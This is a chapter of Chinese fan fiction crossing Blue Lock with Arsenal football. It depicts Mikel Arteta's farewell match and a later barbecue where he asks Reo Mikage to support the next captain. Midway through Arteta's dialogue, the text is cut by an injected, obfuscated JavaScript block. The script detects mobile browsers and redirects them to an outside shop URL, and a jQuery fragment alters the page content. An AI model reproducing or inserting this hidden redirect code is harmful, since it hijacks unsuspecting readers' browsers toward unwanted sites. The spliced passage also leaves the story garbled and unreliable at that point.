84.队长,队长
作品:《【蓝锁】出走王子后日谈》 持续近一周的阴雨过后,伦敦终于放晴了。
阿森纳坐镇主场迎战阿斯顿维拉,这是该赛季英超第三十八轮同时也是最后一轮赛事。客队阿斯顿维拉已在此前确定降级,主队阿森纳则仍需为积分榜次席而战——他们仍落后身前的托特纳姆热刺,取胜的同时还需寄望对手客场失分。
看台上的球迷们可有得忙了,一边关注着场上的局势,一边还要紧盯着手机中的资讯。
酋长球场沐浴在难得的夕光里,草坪绿得发亮,像一整块铺开的丝绒。七个月征战,三十八轮搏杀,一切都将会在这个傍晚走向终点。
而御影玲王额头上的伤还未好全,按照队医的建议给自己加了条运动发带,避免汗水顺着刘海流下。最后一场比赛他仍然首发登场,对他而言,这是个有始有终的赛季。
比赛进程未遇太多阻滞。上半场第三分钟,阿森纳即通过一次右肋渗透取得领先,吉鲁接玲王传中铲射破门。第十三分钟,吉鲁在角球进攻中抢前点头球得分,将比分扩大为2-0。
而在下半场,贝莱林在禁区内被放倒,主裁判判罚点球。他们选择把十二码的机会让给刚刚梅开二度状态火热的法国人,而吉鲁没有浪费机会,主罚命中,完成个人本赛季第三次帽子戏法。
比分在三球领先后进入纯粹的消耗阶段,简而言之就是拖延。
伤停补时的最后阶段,阿森纳获得最后一次进攻机会。桑切斯左肋持球突入禁区,看着跟进的阿尔特塔,他犹豫了一下,随即放慢了动作。
阿尔特塔正从禁区弧顶高速前插——像过去五年里他在无数场比赛里做过的那样。他的跑动姿态不再轻盈了,三十四岁的双腿带着许多陈旧的伤。但他的路线又是如此的坚定,直指球门前唯一的空当。
“米克尔——!”
桑切斯喊出声。他放弃了自己独闯龙潭的机会,脚腕一抖,把球横着推了出去。皮球穿过两名防守队员之间那道转瞬即逝的缝隙,匀速滚向点球点附近。
阿尔特塔迎球赶到,他起脚推射。
砰。
皮球击中横梁,弹地。维拉门将布恩已经扑倒在地,球落下时正好砸在他的后背上,轻轻弹了一下,滚过门线。
4-0!
这是多么完美的一球啊,这是全场比赛的最后一球,也是我们的队长米克尔·阿尔特塔枪手生涯的最后一球。
没有比这更棒的退役礼物了!
阿尔特塔兴奋地飞奔,然后在弧顶处停住。他弯下腰,双手撑在膝盖上,垂着头流下眼泪。
六万人齐声高喊他的名字。Mikel,Mikel ,Mikel!西班牙人把脸埋进掌心,任凭泪水淌过指缝。五年了。五年前的夏天,阿尔特塔从埃弗顿转会加盟,那时很多人以为他只是匆匆过客,他却当起了救火队长,接过袖标。
他经历过漫长无冠的黑暗。
队友们围了上来。吉鲁从背后紧紧抱住他,下巴抵在他的头顶。桑切斯握住他的手腕,用力捏了捏。默特萨克拍着他的后背,什么也没说。年轻的、年长的、来了三年的、刚来三月的,所有人都拥在他身边,像拥着这座球场上为他们遮风避雨的一棵树。
御影玲王的眼圈已经红了,在没有人注意到的角度飞快地用手背蹭了一下眼角。然后他笑起来,挤进人堆里,和所有人一起拍打着队长的肩膀和后背。
“队长!”他喊,“太棒了!太完美了!”
阿尔特塔抬起脸,看见这个日本年轻人的眼睛,亮得像伦敦难得的晴天。
然而令人遗憾的是,该粒进球经英超官方裁判组核定,因射门未在门框范围内,由防守球员反弹入网,最终计入乌龙球。
温格站在场边,双手插在大衣口袋里,像一尊安静的雕塑。阿尔特塔打破了阿森纳近年来“卖队长”的魔咒,温格却又看到许多个故人的影子。他已经很久不在赛后长久停留了,而今天他站在这里,看着他的队长被年轻人扛在肩上,绕着中圈走了半圈。
北伦敦烟紫色的晚霞里,湿润的绿茵之上,红白色的人们拥抱在一起,从酋长球场的上空鸟瞰,像是落在草地上的一串珍珠宝石链。分别时分的怅然全被凉爽的晚风给吹散了,他们听见许多的歌声。
那声音越过看台顶棚,越过喷泉广场,越过伊斯灵顿高低错落的屋顶,一直飘到海布里的旧址上空。老球场早已变成公寓楼。阳台上的灯一盏盏亮起来,有人推开窗,朝酋长球场的方向张望。
他们不知道今夜发生了什么,却分明听见了什么。
晚风终于凉下来了。
阿尔特塔从队友的肩膀上挣下来,双脚重新踏上草皮。他的头发湿透了,眼眶还是红的,但不再流泪。在最有希望的一年与冠军失之交臂没错,阿尔特塔想,一个遗憾的、遗憾的亚军算不了什么。
就在不久后,就在未来的某一天,阿森纳年轻的小伙子们一定会骄傲地捧起冠军奖杯……对我而言,那就像是自己的荣耀一样。
在俱乐部的安排下,他七岁的大儿子牵着他小儿子的手从球员通道的阴影里走出来。男孩们都穿着印着8号的阿森纳主场球衣,那是他们父亲的数字。
阿尔特塔缓缓蹲下,张开双臂,小家伙们带着希望和热量撞进他怀里。
几乎在同一时间,纽卡斯尔圣詹姆斯公园球场传来终场哨音。托特纳姆热刺客场1-5负于已提前保级的纽卡斯尔联,积分停留在六十九分。阿森纳凭借本场胜利,以七十一分反超热刺两分,最终位列本赛季英超积分榜第二位。
阿斯顿维拉以十七分结束赛季,创下俱乐部英超时代最低积分纪录。赛后,维拉公园方面确认时任主帅雷米·加德离任。该队此后历经四个赛季方重返英超。
最受瞩目的冠军莱斯特城当日在客场战平切尔西,以八十一分收官。这支赛季初保级赔率位列第五的、被人轻视的保级小球队完成了职业足球史上最具颠覆性的争冠故事。
哈哈,有趣的是,人们总是更偏爱这种以小搏大的童话,爱看触底反击,爱看绝地逆袭,爱看少年大卫战胜巨人歌莉娅……
赛季就此结束。阿森纳以一场大胜完成收官,创下该队英超时代第四高的单赛季积分,但冠军奖杯仍停留在九英里外的皇权球场。对于枪手们而言,属于他们的冠军究竟还有多远呢?这个问题连今天的我都无法回答。
休赛季,吉鲁家在伦敦郊区的房子难得迎来这么多客人。
院子里烤架支起来,烟雾裹着肉香飘过整片草坪。绝对不会偷吃的贝莱林负责翻肉,吉鲁在旁边指挥,法语和英语混杂着谁也听不懂。威尔希尔瘫在躺椅上喝啤酒,半小时内被蚊虫咬了三个包,骂骂咧咧地进屋找喷雾。
御影玲王端着托盘从厨房出来,上面码着刚腌好的鸡肉和牛肉。他就住在隔壁,今天一大早就过来帮忙切配腌渍,此刻围裙还没解,袖口卷到手肘,忙前忙后像个临时雇佣的帮工。
“Reo!别忙了。”吉鲁喊他,“你是客人嘛,王子坐在遮阳伞下。”
“我算哪门子客人。”玲王把托盘搁在烤架边,“你家后门和我家后门就差二十米。”
嘿,大家又在压榨贝莱林了,这孩子脸都给熏得发黑。玲王走过来,接过他手里的夹子,熟练地给牛肉翻面,油脂滴进炭火里,腾起一串金黄的烟。
大家的话题早已远离赛季。谁家换了新窗帘,哪家餐厅需要提前三个月预订,伦敦最近新开的那家健身房私教全是退役运动员。笑声一阵接一阵,连默特萨克都被逗笑了几回。
玲王今晚坚决不碰酒精。他给自己倒了满满一杯冰茶,有人起哄他也不为所动。上次在什琴斯尼的婚礼上自己喝醉后出的洋相还历历在目,他发誓绝对不要重蹈覆辙。
阿尔特塔端着半杯红酒走过来,而玲王正蹲在烤架边给第二批肉串刷酱。完美的人就连把控火候也是完美的,哼哼。
“火候不错。”西班牙人在他旁边蹲下。
“贝莱林教的。”
“他烤了两年才学会不把外面烤焦里面还生着。”
“米克尔有没有想过退役后做什么呢?”玲王闷闷地问,显然他的心思不全在烤肉上。
“去其他俱乐部做助教?”阿尔特塔眨眨眼,“我还没想好。不过我是打算好了未来做教练的!只要阿森纳需要我——无论是U18还是U23,或者一线队的助教,或者哪个梯队缺一个教小孩怎么用逆足传球的老家伙……我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171170|191326||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
都会立刻回来的!”
“那天以后,我总是梦见自己退役时候的样子。”玲王像在说一件与自己无关的事,“梦里的自己哭得一塌糊涂啊。非常丢人。”
“Reo还那么的年轻。”阿尔特塔笑起来,“才过完23岁生日的人是不用担心那么遥远的事情的。”
玲王笑了一声,没接话。
阿尔特塔却没有要走的意思。他开始说温格——老头子最近在烦心续约的事,俱乐部高层给的预算不理想,股东之间陷入推诿和扯皮。又说中后卫位置上有人在犹豫,大概是有了转会离队的心思。又说梅苏特其实很怕坐飞机,每次欧冠客战都得提前一天吃安眠药……噢还有,谁和谁私下不和,谁和谁是情敌关系…….
玲王手里的夹子越握越紧。
天啊!他瞳孔微微放大。原来还有这么多他不知道的事情。
“阿尔塞纳他啊,身边是需要一个人常常宽慰的。在阿森纳执教了二十几年,他身上背负的压力和期待多到其他人难以想象。不过劝他的时候一定要注意分寸,不能被他察觉到我们很担心他的情绪,否则下次他又要费精神在球员面前维持状态了。”
“奥利维尔有时候会钻进牛角尖里。连续两场不进球,他就会开始怀疑自己是不是不适合阿森纳。那时候别给他分析战术,别给他看跑位热图,就拉他去你那儿吃顿饭,听他抱怨半小时法甲后卫比英超的更脏。我们的大中锋其实只需要知道自己还被需要着。”
“赫克托那孩子,肩上扛的东西比你们看到的要多。他总想证明自己能跑得再快一点、再久一点,好像停下来就会被什么人追上似的。你偶尔可以提醒他,赛季很长,冲刺不必都在九月用完。他听不进教练的话,但会听你的。”
御影玲王当然知道阿尔特塔不是来找他闲聊的。还记得自己刚入队的时候那次聚餐,阿尔特塔也是铺垫了一大堆,只为了想办法缓和自己和利亚姆之间的关系。
“队长。”玲王仍然这样称呼他,“是不是有什么话想对我说呢?”
阿尔特塔沉默了几秒。
烤架上的油脂还在滋滋作响,远处威尔希尔不知道说了什么,惹来一阵哄笑。他们坐在远离人群的地方,氛围逐渐变得严肃。
“下个赛季,佩尔会接过队长袖标。”阿尔特塔开口,声音平静,“他三十二岁了。”
玲王没说话。
“我们聊过。他自己也不知道还能踢多久。”阿尔特塔顿了顿,目光落在炭火明灭的红光上,“Reo,我们都知道的——你聪明,有手腕,擅长和人打交道。”
他转过头看着玲王。
“尽管你不是队长,但我能不能拜托你……给佩尔多一点支持和协助。让更衣室像现在这样,一直好下去。我知道这会给你添麻烦,需要花费额外的时间和精力,也可能惹来不必要的……”
“我愿意。”没有一丝犹豫,玲王打断他,“我当然是愿意的。”
阿尔特塔看着御影玲王过于通透的眼睛,多漂亮啊,就像浸过冷水的两枚紫水晶。五年前初次见面的时候他就知道这个聪明的小家伙有不可限量的未来,彼时自己还并非队长,玲王还不知会被租借去何处……那时候恐怕谁都没想到还会有今天这一幕。
早熟早慧的年轻人啊,他想必是个目空一切的人,却偏偏把自己珍视的情感看得好重。阿尔特塔不禁想,这样的他,是否会因为真心错付而流过泪呢?流过泪的他,又为什么仍然愿意凭空在自己脖颈上再添一重承诺呢?
“你也很信任我吧?米克尔。”见阿尔特塔好久不说话,玲王终于开口,同时露出一个得意的笑。那是他的招牌表情没错了。
“我一直相信你,Reo。”阿尔特塔说。
他站起身,拍了拍玲王的肩膀,像过去无数次那样。然后他端着他的红酒走回人群中,加入了关于威尔希尔又被蚊虫叮咬的揶揄。
玲王蹲在原地,把夹子搁回烤架边沿。晚风吹过后院,烟飘向另一侧的天。他忽然觉得这个夏天好像比往年更长一些。远处,默特萨克正帮吉鲁把烤好的肉分到盘子里。德国人抬起头,隔着半个草坪和他对视了一瞬。
玲王冲他笑了笑。看到一个开始。

